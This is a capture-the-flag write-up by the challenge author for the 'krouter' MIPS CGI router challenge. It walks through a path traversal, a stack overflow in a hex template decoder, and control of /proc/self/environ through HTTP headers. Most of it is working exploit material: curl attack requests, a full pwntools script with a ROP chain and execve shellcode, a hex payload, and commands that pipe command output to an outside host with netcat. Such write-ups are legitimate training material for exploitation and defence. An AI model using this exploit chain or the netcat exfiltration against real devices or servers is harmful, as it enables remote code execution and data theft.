# Summary
Another Path traversal to RCE, but it's not PHP
krouter - [1000pts]
1 solves
all those routers using cgi powered web interfaces. i made my own, can you help me spot any vulnerabilities ? i left you an important file out there
http://159.65.199.231/
Author: rekter0
i made a challenge for iceCTF that was running 27-30 december 2020, provided challenge archive contains 2 files router.bin and qemu-mips, and the router.bin is running behind an apache webserver as a cgi script.
$ file router.bin
router.bin: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=0a0be478a878ada9b89cbea76e5dca8ddfe988c1, stripped
$ checksec router.bin
Arch: mips-32-big
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
MIPS 32bit big endian binary
TL;DR
- PATH TRAVERSAL
http://159.65.199.231/router.bin?a=../../../../etc/passwd
- Out of bound write while hex decoding html templates
- Apache sends HTTP headers, QUERY_STRING and more as env variables to cgi script
- Send our template payload in HTTP header and use path traversal to load /proc/self/environ
- RCE
# PATH TRAVERSAL
just by browsing the web app, there's nothing much except a login form that always returns not implemented
and a
GET parameter that page content changes when it does.
main function is located at 0x00400aec
, i used ghidra, i know it's striped that sucks, here's decompilation with pseudo reconstructed symbols
undefined4 main_(void)
{
int iVar1;
int iVar2;
undefined4 auStack136 [2];
char acStack128 [120];
puts_maybe("Content-Type: text/html\n\n");
iVar1 = getenv_maybe("QUERY_STRING");
openFile_and_write("./files/head.html");
if (iVar1 != 0) {
strtok_maybe(iVar1,&equal_sign_str);
iVar1 = strtok_maybe(0,&equal_sign_str);
if (iVar1 == 0) {
openFile_and_write("./files/body.html");
}
else {
iVar2 = strcat_maybe(auStack136);
*(undefined4 *)((int)auStack136 + iVar2) = 0x2e2f6669;
*(undefined4 *)((int)auStack136 + iVar2 + 4) = 0x6c65732f;
acStack128[iVar2] = '\0';
strncat_maybe(auStack136,iVar1,0x32);
openFile_and_write(auStack136);
}
}
openFile_and_write("./files/footer.html");
return 0;
}
so the program looks for "=" in QUERY_STRING and does split, then concats "./files/"+PARAM_VALUE, and sends it to openFile_and_write, there goes the path traversal
$ curl http://159.65.199.231/router.bin?aaaaa=../../../../etc/passwd
<!DOCTYPE html>
<html>
<head>
<title>KROUTER</title>
</head>
<header>
<a href="./router.bin">Home</a>
<a href="./router.bin?a=about">About</a>
<a href="./router.bin?a=contact">Contact</a>
</header>
<br/><br/><br/>
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
[...]
[...]
pollinate:x:110:1::/var/cache/pollinate:/bin/false
getflag:x:1000:1000:,,,:/home/getflag:/bin/bash
<br/><br/><br/>
<footer>copyleft 2020</footer>
# Out of bound write
let's examine openFile_and_write
located at 0x00400840
, decompilation from ghidra
void openFile_and_write(undefined4 filepath)
{
int file_buffer;
int position1;
uint position2;
int iStack296;
int iStack292;
int iStack288;
int iStack284;
undefined hex_template_var [260];
file_buffer = readFile_to_buffer(filepath);
position1 = binary_strpos(file_buffer,_DAT_004a1730,"=HEX=",5);
if (position1 == -1) {
fwrite_maybe(file_buffer,1,_DAT_004a1730,PTR_DAT_004a0464);
}
else {
iStack296 = 0;
while (iStack296 < position1) {
putchar_maybe((int)*(char *)(file_buffer + iStack296));
iStack296 = iStack296 + 1;
}
position2 = binary_strpos(file_buffer + position1 + 5,(_DAT_004a1730 - position1) + -5,"=HEX=",5
);
if (position2 != 0xffffffff) {
if ((position2 & 1) != 0) {
exit_maybe(0);
}
iStack292 = 0;
iStack288 = position1 + 5;
while (iStack288 < (int)(position2 + position1 + 5)) {
sscanf_maybe(file_buffer + iStack288,"%02hhx",hex_template_var + iStack292);
iStack292 = iStack292 + 1;
iStack288 = iStack288 + 2;
}
}
printf_maybe(&DAT_004749f4,hex_template_var);
iStack284 = position2 + position1 + 10;
while (iStack284 < _DAT_004a1730) {
putchar_maybe((int)*(char *)(file_buffer + iStack284));
iStack284 = iStack284 + 1;
}
}
return;
}
this does open and read given file into a buffer then looks for "=HEX=" first 2 occurences, prints what is before first occurance, hex decodes what's in between if length is pair and stores it into another stack buffer, then prints whats after second occurance.
here the out of bound write happens and you can overwrite $ra
to hijack the program flow.
# the given html template files
since we got the path traversal, we know where the html templates are located http://159.65.199.231/files/[file_name]
if you have looked at about
file for example
$ curl http://159.65.199.231/files/about
<p>=HEX=617765736f6d6520726f75746572=HEX=</p>
<p>much wow</p>
$ printf 617765736f6d6520726f75746572|xxd -r -p
awesome router
$ curl http://159.65.199.231/router.bin?a=about
[...]
<p>awesome router</p>
<p>much wow</p>
[...]
you will notice that directly calling the file from apache as a static file, the template engine syntax is visible, while reading the file through the binary has that string is decoded and rendered as ASCII, and from here you can investigate this odd behaviour from the binary
# producing the crash
its easier to simulate apache behaviour with env variables while debugging/testing than using full webserver.
$ echo `printf =HEX=;python3 -c 'print ("A"*300,end="")'|xxd -p -c 1000000|tr -d '\n';printf =HEX=`
=HEX=414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141=HEX=
$ echo `printf =HEX=;python3 -c 'print ("A"*300,end="")'|xxd -p -c 1000000|tr -d '\n';printf =HEX=` > exploit_file
$ QUERY_STRING="/a?=../exploit_file" ./qemu-mips ./router.bin
Content-Type: text/html
<!DOCTYPE html>
<html>
<head>
<title>KROUTER</title>
</head>
<header>
<a href="./router.bin">Home</a>
<a href="./router.bin?a=about">About</a>
<a href="./router.bin?a=contact">Contact</a>
</header>
<br/><br/><br/>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA./files/../exploit_file
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Segmentation fault (core dumped)
so if we can control file content we can segfault this crappy router :) do we control any file on the server? maybe ...
# Leveraging apache behaviour to parially control a file content
we can now produce a crash and a stack overflow when we can provide the binary with a long hex using it's template syntax, but to do so we need to control the content of the file fed to printFile_and_write
.
luckily apache when executing a cgi script, it's sending to it QUERY_STRING and HTTP Headers through env variables, this means that we can read /proc/self/environ file, and it will contain the HTTP headers we send inside, sounds like a good way to partially control a file over the server.
$ curl http://159.65.199.231/router.bin?aaaaa=../../../../proc/self/environ -H 'PWN: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' --output -
<!DOCTYPE html>
<html>
<head>
<title>KROUTER</title>
</head>
<header>
<a href="./router.bin">Home</a>
<a href="./router.bin?a=about">About</a>
<a href="./router.bin?a=contact">Contact</a>
</header>
<br/><br/><br/>
HTTP_HOST=159.65.199.231HTTP_USER_AGENT=curl/7.58.0HTTP_ACCEPT=*/*HTTP_PWN=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binSERVER_SIGNATURE=SERVER_SOFTWARE=ApacheSERVER_NAME=159.65.199.231SERVER_ADDR=159.65.199.231SERVER_PORT=80REMOTE_ADDR=X.X.X.XDOCUMENT_ROOT=/var/www/htmlREQUEST_SCHEME=httpCONTEXT_PREFIX=CONTEXT_DOCUMENT_ROOT=/var/www/htmlSERVER_ADMIN=webmaster@localhostSCRIPT_FILENAME=/var/www/html/router.binREMOTE_PORT=53462GATEWAY_INTERFACE=CGI/1.1SERVER_PROTOCOL=HTTP/1.1REQUEST_METHOD=GETQUERY_STRING=aaaaa=../../../../proc/self/environREQUEST_URI=/router.bin?aaaaa=../../../../proc/self/environSCRIPT_NAME=/router.bin<br/><br/><br/>
<footer>copyleft 2020</footer>
way to go, we have everything we need in there
$ cat exploit_file
=HEX=414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141=HEX=
$ curl http://159.65.199.231/router.bin?aaaaa=../../../../proc/self/environ -H "PWN: `cat exploit_file`"
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
misconfiguration and was unable to complete
your request.</p>
<p>Please contact the server administrator at
webmaster@localhost to inform them of the time this error occurred,
and the actions you performed just before this error.</p>
<p>More information about this error may be available
in the server error log.</p>
</body></html>
# Getting RCE
we got the bug, and we can control the file content fed into openFile_and_write
, its a matter of exploit craftsmanship.
in challenge files ive provided the qemu-mips emulator used which is patched and has ASLR, i have seen people in logs trying to bruteforce stack addresses, i think there's enough entropy to make bruteforce impossible
$ cat b.c
#include<stdio.h>
int main()
{
int lol;
printf ("%x\n",&lol);
}
$ mips-linux-gnu-gcc -o b.bin b.c -static
$ ./b.bin
7ffff000
$ ./b.bin
7ffff000
$ ./b.bin
7ffff000
$ ./b.bin
7ffff000
$ ./b.bin^C
$ ./qemu-mips b.bin
72c6b000
$ ./qemu-mips b.bin
79e58000
$ ./qemu-mips b.bin
72c29000
$ ./qemu-mips b.bin
7abaf000
$ ./qemu-mips b.bin
72175000
$ ./qemu-mips b.bin
7ef00000
$ ./qemu-mips b.bin
7a030000
$ ./qemu-mips b.bin
7eaa0000
$ ./qemu-mips b.bin
78db1000
$ ./qemu-mips b.bin
77780000
$ ./qemu-mips b.bin
7ac86000
i will not dive into dynamic analysis or finding gadgets, i have it covered already in this post
https://r0.haxors.org/posts?id=4
also ptr-yudai used ret2csu and writing shellcode into bss here
https://ptr-yudai.hatenablog.com/entry/2020/07/26/213605#pwn-499pts-babym1ps
i have used very similar gadgets from my other writeup for 3kCTF-babym1ps, stackpointer where our nopsled are into a register and jump to it.
===GADGET1
__libc_freeres_fn:004745F4 lw $ra, 0x30+var_4($sp)
__libc_freeres_fn:004745F8 lw $s3, 0x30+var_8($sp)
__libc_freeres_fn:004745FC lw $s2, 0x30+var_C($sp)
__libc_freeres_fn:00474600 lw $s1, 0x30+var_10($sp)
__libc_freeres_fn:00474604 lw $s0, 0x30+var_14($sp)
__libc_freeres_fn:00474608 jr $ra
===GADGET2
.text:0040DCA4 addiu $a2, $sp, 0x60+var_28
.text:0040DCA8 sw $zero, 0x60+var_44($sp)
.text:0040DCAC move $a0, $s2
.text:0040DCB0 sw $zero, 0x60+var_48($sp)
.text:0040DCB4 sw $v0, 0x60+var_4C($sp)
.text:0040DCB8 move $t9, $s1
.text:0040DCBC jalr $t9
===GADGET3
.text:00423774 move $t9, $a2
.text:00423778 jr $t9
as for the shellcode i just used shellcraft execve. full exploit:
from pwn import *
import sys
import requests
context.update(arch="mips", bits=32, endian="big", os="linux")
if len(sys.argv)<3:
print('python sploit.py local|remote cmd')
exit()
path = '/bin/sh'
argv = ['sh', '-c', sys.argv[2]]
envp = {}
shellcode = shellcraft.mips.linux.execve(path, argv, envp)
shellcode = asm(shellcode)
gadget1=0x004745F4
gadget2=0x0040DCA4
gadget3=0x00423774
buff = ("A"*264).encode()
buff += p32(gadget1) + ("A" * 0x1c).encode() + (p32(gadget3)*4) + p32(gadget2) + ('\x00' * 56).encode() + shellcode
buff = '=HEX='+(buff.hex())+'=HEX='
if(sys.argv[1]=='local'):
env={'QUERY_STRING':'/a=../../../../../../proc/self/environ','PWN':buff}
p = process('./router.bin',env=env)
p.interactive()
else:
print(buff)
requests.get("http://159.65.199.231/router.bin?a=../../../../../../proc/self/environ",headers={'PWN':buff})
Getting the flag
terminal 1
$ python sploit.py remote 'ls -lia / | nc IP_TO_EXFILTRATE_DATA 7080'
=HEX=414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141004745f441414141414141414141414141414141414141414141414141414141004237740042377400423774004237740040dca400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003c092f623529696eafa9fff83c19d08c373997ff03204827afa9fffc27bdfff803a020203c198c973739ffd203204827afa9ffd43c199cff3739938c03204827afa9ffd83c09202d35296c69afa9ffdc3c09612035292f20afa9ffe03c097c2035296e63afa9ffe43c0920363529342eafa9ffe83c0932323529352eafa9ffec3c09363835292e31afa9fff03c09363535292033afa9fff43c09313335293337afa9fff8afa0fffc27bdffd42805ffffafa5fffc23bdfffc2419fff50320282703a52820afa5fffc23bdfffc2419fff40320282703a52820afa5fffc23bdfffc2419fff30320282703a52820afa5fffc23bdfffc03a02820afa0fffc27bdfffc2806ffffafa6fffc23bdfffc03a0302034020fab0101010c=HEX=
terminal 2
$ nc -lnvv -p 7080
Listening on [0.0.0.0] (family 0, port 7080)
Connection from 159.65.199.231 58692 received!
total 112
[...]
18554 -r-------- 1 getflag getflag 41 Dec 27 13:21 f09aaa3423420e20eb8e9ae8418fa0c830f46d28.txt
30038 -rwsr-xr-x 1 getflag getflag 8512 Dec 27 14:30 getflag_execute_me
[...]
[...]
flag file is owned by getflag user and only that user has permission to read it, but there's a suid binary getflag_execute_me
.
terminal 1
$ python sploit.py remote '/getflag_execute_me | nc IP_TO_EXFILTRATE_DATA 7080'
terminal 2
$ nc -lnvv -p 7080
Listening on [0.0.0.0] (family 0, port 7080)
Connection from 159.65.199.231 58694 received!
IceCTF{d4052e9c1c60371374fe53085f9b3307}